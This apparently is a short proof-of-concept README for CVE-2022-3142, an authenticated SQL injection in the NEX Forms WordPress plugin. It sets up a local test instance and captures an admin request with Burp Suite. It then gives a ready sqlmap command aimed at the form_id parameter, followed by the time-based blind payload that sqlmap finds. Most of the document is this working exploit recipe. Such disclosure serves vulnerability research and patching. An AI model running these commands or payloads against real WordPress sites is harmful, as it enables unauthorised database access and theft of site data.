nex-forms-exploit

Authenticatd SQL injection vulnerability in the "NEX Forms" Wordpress plugin

https://medium.com/@elias.hohl/authenticated-sql-injection-vulnerability-in-nex-forms-wordpress-plugin-35b8558dd0f5

This vulnerability has been assigned CVE-2022-3142.

https://nvd.nist.gov/vuln/detail/CVE-2022-3142

1. Start a new Wordpress instance using docker-compose.

2. Install the NEX Forms plugin.

3. Open the URL /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1 in your browser. Save the request to nex-forms-req.txt via Burp Suite.

4. Execute the following command: sqlmap -r nex_forms_req.txt -p form_id --technique=T --dbms=mysql --level 5 --risk 3

sqlmap will find a time-based blind payload:

Parameter: form_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=nex-forms-dashboard&form_id=1 AND (SELECT 4715 FROM (SELECT(SLEEP(5)))nPUi)